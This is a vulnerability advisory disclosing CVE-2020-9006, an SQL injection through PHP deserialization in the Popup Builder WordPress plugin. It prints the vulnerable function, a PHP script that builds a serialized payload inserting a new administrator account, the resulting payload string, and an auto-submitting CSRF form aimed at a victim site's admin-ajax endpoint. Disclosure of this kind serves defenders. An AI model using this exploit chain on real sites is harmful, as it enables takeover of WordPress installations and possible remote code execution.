FEBRUARY 16, 2020 BY ZEROAUTH

CVE-2020-9006 – popup-builder WP Plugin SQL injection via PHP Deserialization

The Popup Builder plugin 2.2.8 through 2.6.7.6 for WordPress is vulnerable to SQL injection via PHP Deserialization on attacker-controlled data with the attachmentUrl POST variable. This allows creation of an arbitrary WordPress Administrator account, leading to possible Remote Code Execution because Administrators can run PHP code on WordPress instances.

Vulnerable code snippet:

sg_popup_ajax.php 748 Byte GitLab

```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
```

```
function sgImportPopups()
{
        global $wpdb;
        $url = $_POST['attachmentUrl'];

        $contents = unserialize(base64_decode(file_get_contents($url)));

        /* For tables wich they are not popup tables child ex. subscribers */
        foreach ($contents['customData'] as $tableName => $datas) {
                $columns = '';

                $columsArray = array();
                foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
                        $columsArray[$key] = $value['Field'];
                }
                $columns .= implode(array_values($columsArray), ', ');
                foreach ($datas as $key => $data) {
                        $values = "'".implode(array_values($data), "','")."'";
                        $customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
                        $wpdb->query($customInsertSql);
                }
        }
```

The POST variable attachmentUrl is downloaded, and passed directly into unserialize(), and then the deserialized data is used to insert data into the DB. By reversing the function we can create the following code to create the serialized data needed to create a wordpress admin.

create-serialized-payload.php 860 Byte GitLab

```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
```

```
<?php
$contents = array(
    'customData' => array('users' => array(
        0 => array('zeroauth',
                    '$P$B2R7.3rylqoX.YrEfQmcNEYVDheK1a/',
                    'zeroauth',
                    'jason@zeroauth.ltd',
                    'https://zeroauth.ltd',
                    '0',
                    'Zero Auth',
                )
    )),
    'customTablesColumsName' => array('users' =>
        array(
            0 => array('Field' => 'user_login'),
            1 => array('Field' => 'user_pass'),
            2 => array('Field' => 'user_nicename'),
            4 => array('Field' => 'user_email'),
            5 => array('Field' => 'user_url'),
            6 => array('Field' => 'user_status'),
            7 => array('Field' => 'display_name'),
        ),
    )
);
```

```
$pack = base64_encode(serialize($contents));
echo $pack;
```

Which produces the following serialized data (before being base64 encoded):

a:2:{s:10:”customData”;a:1:{s:5:”users”;a:1:{i:0;a:7:
{i:0;s:8:”zeroauth”;i:1;s:34:”PB2R7.3rylqoX.YrEfQmcNEYVDheK1a/”;i:2;s:8:”zeroauth”;i:3;s:18:”jason@zeroauth.ltd”;i:4;s:20:”https://zeroauth.ltd”;i:5;s:1:”0”;i:6;s:9
:”Zero Auth”;}}}s:22:”customTablesColumsName”;a:1:{s:5:”users”;a:7:{i:0;a:1:{s:5:”Field”;s:10:”user_login”;}i:1;a:1:{s:5:”Field”;s:9:”user_pass”;}i:2;a:1:
{s:5:”Field”;s:13:”user_nicename”;}i:4;a:1:{s:5:”Field”;s:10:”user_email”;}i:5;a:1:{s:5:”Field”;s:8:”user_url”;}i:6;a:1:{s:5:”Field”;s:11:”user_status”;}i:7;a:1:
{s:5:”Field”;s:12:”display_name”;}}}}

csrf.html 292 Byte GitLab

1 2 3 4 5 6 7

```
<form action="https://victim.tld/wp-admin/admin-ajax.php" method="POST" id="csrf">
    <input type="text" name="action" value="import_popups">
    <input type="text" name="attachmentUrl" value="https://path-to/payload">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
```

This issue has been fixed in the 3.x branch of popup-builder. Versions 2.2.8 through 2.5.3 do not need a nonce, however 2.5.4 through 2.6.7.6 would need a valid nonce.

SQLI